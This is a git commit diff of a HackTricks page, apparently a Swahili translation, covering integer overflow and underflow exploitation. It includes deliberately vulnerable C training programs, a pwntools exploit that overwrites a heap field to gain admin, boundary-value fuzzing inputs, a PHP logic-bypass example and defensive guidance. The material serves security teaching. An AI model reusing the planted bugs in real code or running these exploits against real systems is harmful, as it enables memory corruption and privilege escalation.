Translated ['src/binary-exploitation/integer-overflow-and-underflow.md',

This commit is contained in:
Translator 2025-09-07 14:59:58 +00:00
parent d62637db7c
commit c57591d542
4 changed files with 409 additions and 155 deletions

View File

@ -785,7 +785,7 @@
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)

View File

@ -0,0 +1,368 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Taarifa za Msingi
Kimsingi cha **integer overflow** ni kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **tafsiri** ya data.
Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 to 255**. Ikiwa utajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, itazunguka kurudi 0 kutokana na kikomo cha uwezo wake wa uhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 to 65,535**, kuongeza 1 kwa 65,535 kutaizungusha thamani kurudi 0.
Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 to 127**. Hii ni kwa sababu bit moja inatumiwa kuwakilisha ishara (chanya au hasi), ikiacha bits 7 za kuwakilisha ukubwa. Nambari yenye hasi kabisa inawakilishwa kama **-128** (binary `10000000`), na nambari yenye chanya kabisa ni **127** (binary `01111111`).
Thamani kubwa za aina za integer zinazojulikana:
| Aina | Ukubwa (bits) | Thamani Ndogo | Thamani Kuu |
|----------------|---------------|--------------------|--------------------|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
short ni sawa na `int16_t` na int ni sawa na `int32_t` na long ni sawa na `int64_t` katika mifumo ya 64bits.
### Thamani Kuu
Kwa **web vulnerabilities** zinazowezekana ni muhimu kujua thamani za juu zinazoungwa mkono:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Mifano
### Safi overflow
Matokeo yaliyochapishwa yatakuwa 0 kwani tuli overflow char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Fikiria hali ambapo signed integer inasomwa kutoka kwa ingizo la mtumiaji kisha ikitumika katika muktadha unaoitendea kama unsigned integer, bila uhalalishaji sahihi:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
Katika mfano huu, ikiwa mtumiaji ataingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama (unsigned) kutokana na jinsi thamani za binary zinavyotafsiriwa, na inaweza kusababisha tabia isiyotarajiwa.
### macOS Overflow Example
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Kusanya kwa kutumia:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
```
#### Exploit
```python
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until its actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
```
### macOS Underflow Mfano
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
I-compile kwa kutumia:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
```
### Mifano Mengine
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- 1B pekee hutumika kuhifadhi ukubwa wa password, hivyo inawezekana ku-overflow na kuifanya ifikirie urefu wake kuwa 4 ilhali kwa kweli ni 260, hivyo kupitisha ukaguzi wa urefu
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Kwa kupewa namba chache, tumia z3 kupata namba mpya ambayo ikizidishwa na nambari ya kwanza itatoa nambari ya pili:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- 1B pekee hutumika kuhifadhi ukubwa wa password, hivyo inawezekana ku-overflow na kuifanya ifikirie urefu wake kuwa 4 ilhali kwa kweli ni 260, kupitisha ukaguzi wa urefu na kuandika juu kwenye stack local variable inayofuata na hivyo kupitisha ulinzi zote mbili
## ARM64
Hii **haibadiliki katika ARM64** kama unavyoweza kuona katika [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,115 +0,0 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Basic Information
Katika msingi wa **integer overflow** kuna kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **ufafanuzi** wa data.
Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 hadi 255**. Ikiwa unajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, inarudi nyuma hadi 0 kutokana na kikomo cha uwezo wake wa kuhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 hadi 65,535**, kuongeza 1 kwa 65,535 itarudisha thamani hiyo hadi 0.
Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 hadi 127**. Hii ni kwa sababu bit moja inatumika kuwakilisha ishara (chanya au hasi), ikiacha bits 7 kuwakilisha ukubwa. Nambari hasi zaidi inawakilishwa kama **-128** (binary `10000000`), na nambari chanya zaidi ni **127** (binary `01111111`).
### Max values
Kwa uwezekano wa **web vulnerabilities** ni muhimu kujua thamani za juu zinazoungwa mkono:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Mifano
### Overflow safi
Matokeo yaliyochapishwa yatakuwa 0 kwani tumepita kiwango cha char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Fikiria hali ambapo nambari iliyo na saini inasomwa kutoka kwa ingizo la mtumiaji na kisha kutumika katika muktadha ambao unait treating kama nambari isiyo na saini, bila uthibitisho sahihi:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama kutokana na jinsi thamani za binary zinavyotafsiriwa, ambayo inaweza kusababisha tabia isiyotarajiwa.
### Mifano Mingine
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kuijaza na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Imepewa nambari kadhaa pata kutumia z3 nambari mpya ambayo ikizidishwa na ya kwanza itatoa ya pili:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kuijaza na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu na kuandika tena kwenye stack variable ya ndani inayofuata na kupita ulinzi wote
## ARM64
Hii **haiwezi kubadilika katika ARM64** kama unavyoona katika [**hiki kipande cha blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,45 +2,44 @@
{{#include ../../banners/hacktricks-training.md}}
> Ukurasa huu unazingatia jinsi **overflow/truncation za integer zinavyoweza kutumika vibaya katika programu za wavuti na vivinjari**. Kwa mbinu za unyakuzi ndani ya binaries asilia unaweza kuendelea kusoma ukurasa uliojitolea:
> Ukurasa huu unaelezea jinsi ambapo **integer overflows/truncations zinaweza kutumiwa katika web applications na browsers**. Kwa exploitation primitives ndani ya native binaries unaweza endelea kusoma ukurasa maalum:
>
>
{{#ref}}
> ../../binary-exploitation/integer-overflow-and-underflow.md
>
{{#endref}}
> {{#endref}}
---
## 1. Kwa nini hesabu za integer bado ni muhimu kwenye wavuti
## 1. Why integer math still matters on the web
Ingawa mantiki nyingi za biashara katika stack za kisasa zimeandikwa katika lugha za *memory-safe*, runtime ya chini (au maktaba za wahusika wengine) hatimaye inatekelezwa kwa C/C++. Kila wakati nambari zinazodhibitiwa na mtumiaji zinapotumika kugawa buffers, kuhesabu offsets, au kufanya ukaguzi wa urefu, **kuzunguka kwa 32-bit au 64-bit kunaweza kubadilisha parameter inayonekana kuwa isiyo na madhara kuwa kusoma/kandika nje ya mipaka, kupita kwa mantiki au DoS**.
Licha ya kwamba sehemu kubwa ya business-logic katika modern stacks imeandikwa kwa lugha za *memory-safe*, runtime inayofanya kazi chini yake (au third-party libraries) hatimaye imeimplemented katika C/C++. Wakati wowote nambari zinazoathiriwa na user zinapotumika kugawa buffers, kuhesabu offsets, au kufanya ukaguzi wa urefu, **wrap-around ya 32-bit au 64-bit inaweza kubadilisha parameter inayotarajiwa kuwa isiyo hatari kuwa out-of-bounds read/write, logic bypass au DoS**.
Uso wa shambulio wa kawaida:
Typical attack surface:
1. **Parameta za ombi za nambari** viwanja vya kawaida vya id, offset, au count.
2. **Vichwa vya urefu / saizi** Content-Length, urefu wa fremu ya WebSocket, HTTP/2 continuation_len, n.k.
3. **Metadata ya muundo wa faili inayosindika upande wa seva au upande wa mteja** vipimo vya picha, saizi za chunk, meza za font.
4. **Mabadiliko ya kiwango cha lugha** signed↔unsigned casts katika PHP/Go/Rust FFI, JS Number → int32 truncations ndani ya V8.
5. **Uthibitishaji & mantiki ya biashara** thamani ya kuponi, bei, au hesabu za salio ambazo zinapita kimya.
1. **Numeric request parameters** classic id, offset, or count fields.
2. **Length / size headers** Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc.
3. **File-format metadata parsed server-side or client-side** image dimensions, chunk sizes, font tables.
4. **Language-level conversions** signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
5. **Authentication & business logic** coupon value, price, or balance calculations that silently overflow.
---
## 2. Uthibitisho wa hivi karibuni wa udhaifu wa kweli (2023-2025)
## 2. Recent real-world vulnerabilities (2023-2025)
| Mwaka | Kipengele | Sababu kuu | Athari |
| Mwaka | Komponenti | Sababu kuu | Athari |
|------|-----------|-----------|--------|
| 2023 | **libwebp CVE-2023-4863** | Kuongezeka kwa 32-bit wakati wa kuhesabu saizi ya pikseli iliyotafsiriwa | Ilisababisha Chrome 0-day (BLASTPASS kwenye iOS), iliruhusu *utendaji wa msimbo wa mbali* ndani ya sandbox ya renderer. |
| 2024 | **V8 CVE-2024-0519** | Truncation hadi 32-bit wakati wa kukua JSArray inasababisha OOB kuandika kwenye duka la nyuma | Utendaji wa msimbo wa mbali baada ya kutembelea mara moja. |
| 2025 | **Apollo GraphQL Server** (patch isiyotolewa) | Integer ya 32-bit iliyosainiwa inatumika kwa argumeti za pagination za kwanza/mwisho; thamani hasi zinazunguka kuwa kubwa chanya | Kupita kwa mantiki & uchovu wa kumbukumbu (DoS). |
| 2023 | **libwebp CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Ilisababisha Chrome 0-day (BLASTPASS on iOS), ikaruhusu *remote code execution* ndani ya renderer sandbox. |
| 2024 | **V8 CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution baada ya kutembelea mara moja. |
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
---
## 3. Mkakati wa kupima
## 3. Testing strategy
### 3.1 Cheat-sheet ya thamani za mpaka
### 3.1 Boundary-value cheat-sheet
Tuma **thamani za juu za signed/unsigned** popote ambapo integer inatarajiwa:
Tuma **extreme signed/unsigned values** kila mahali ambapo integer inatarajiwa:
```
-1, 0, 1,
127, 128, 255, 256,
@ -49,9 +48,9 @@ Tuma **thamani za juu za signed/unsigned** popote ambapo integer inatarajiwa:
9223372036854775807, 9223372036854775808,
0x7fffffff, 0x80000000, 0xffffffff
```
Mifumo mingine ya manufaa:
* Hex (0x100), octal (0377), kisayansi (1e10), JSON big-int (9999999999999999999).
* Mifumo ya nambari ndefu sana (>1kB) ili kufikia parser maalum.
Mifomato mingine muhimu:
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
* Mfuatano mrefu sana wa tarakimu (>1kB) ili kugonga custom parsers.
### 3.2 Kiolezo cha Burp Intruder
```
@ -62,15 +61,15 @@ Pad to length: 10, Enable hex prefix 0x
```
### 3.3 Fuzzing libraries & runtimes
* **AFL++/Honggfuzz** na libFuzzer harness kuzunguka parser (mfano, WebP, PNG, protobuf).
* **Fuzzilli** fuzzing inayojua sarufi ya injini za JavaScript ili kugonga V8/JSC integer truncations.
* **boofuzz** fuzzing ya itifaki ya mtandao (WebSocket, HTTP/2) ikilenga uwanja wa urefu.
* **AFL++/Honggfuzz** pamoja na libFuzzer harness karibu na parser (kwa mfano, WebP, PNG, protobuf).
* **Fuzzilli** grammar-aware fuzzing ya JavaScript engines ili kugonga V8/JSC integer truncations.
* **boofuzz** network-protocol fuzzing (WebSocket, HTTP/2) ikilenga length fields.
---
## 4. Exploitation patterns
### 4.1 Logic bypass in server-side code (PHP example)
### 4.1 Logic bypass katika server-side code (mfano wa PHP)
```php
$price = (int)$_POST['price']; // expecting cents (0-10000)
$total = $price * 100; // ← 32-bit overflow possible
@ -79,27 +78,29 @@ die('Too expensive');
}
/* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */
```
### 4.2 Heap overflow kupitia decoder ya picha (libwebp 0-day)
Decoder ya WebP isiyo na hasara iliongeza upana wa picha × urefu × 4 (RGBA) ndani ya int ya 32-bit. Faili iliyoundwa kwa vipimo 16384 × 16384 inazidi kuzidisha, inatenga buffer fupi na kisha inaandika **~1GB** ya data iliyoshughulikiwa kupita heap ikisababisha RCE katika kila kivinjari kinachotegemea Chromium kabla ya 116.0.5845.187.
### 4.2 Heap overflow via image decoder (libwebp 0-day)
WebP lossless decoder ilizidisha image width × height × 4 (RGBA) ndani ya 32-bit int. Faili iliyotengenezwa kwa vipimo 16384 × 16384 iliresulta overflows kwenye multiplication, allocates short buffer na baadaye ikaandika **~1GB** ya decompressed data past the heap ikisababisha RCE katika every Chromium-based browser kabla ya 116.0.5845.187.
### 4.3 Mnyororo wa XSS/RCE unaotegemea kivinjari
1. **Integer overflow** katika V8 inatoa kusoma/kandika bila mipaka.
2. Kimbia kwenye sandbox kwa hitilafu ya pili au piga API za asili ili kuangusha payload.
3. Payload kisha inaingiza script mbaya katika muktadha wa asili → XSS iliyohifadhiwa.
### 4.3 Browser-based XSS/RCE chain
1. **Integer overflow** in V8 gives arbitrary read/write.
2. Escape the sandbox with a second bug or call native APIs to drop a payload.
3. The payload then injects a malicious script into the origin context → stored XSS.
---
## 5. Miongozo ya kujihami
## 5. Defensive guidelines
1. **Tumia aina pana au hesabu zilizokaguliwa** e.g., size_t, Rust checked_add, Go math/bits.Add64.
2. **Thibitisha mipaka mapema**: kataa thamani yoyote nje ya eneo la biashara kabla ya hesabu.
3. **Washa sanitizers za kompyuta**: -fsanitize=integer, UBSan, Go race detector.
4. **Pokea fuzzing katika CI/CD** changanya mrejesho wa kufunika na mipaka ya data.
5. **Baki na sasisho** hitilafu za integer overflow za kivinjari mara nyingi zinatumika kama silaha ndani ya wiki chache.
1. **Use wide types or checked math** e.g., size_t, Rust checked_add, Go math/bits.Add64.
2. **Validate ranges early**: kataa thamani yoyote nje ya business domain kabla ya arithmetic.
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
4. **Adopt fuzzing in CI/CD** waunganishe coverage feedback na boundary corpora.
5. **Stay patched** browser integer overflow bugs mara nyingi zinatumiwa ndani ya wiki.
---
## Marejeo
## References
* [NVD CVE-2023-4863 libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)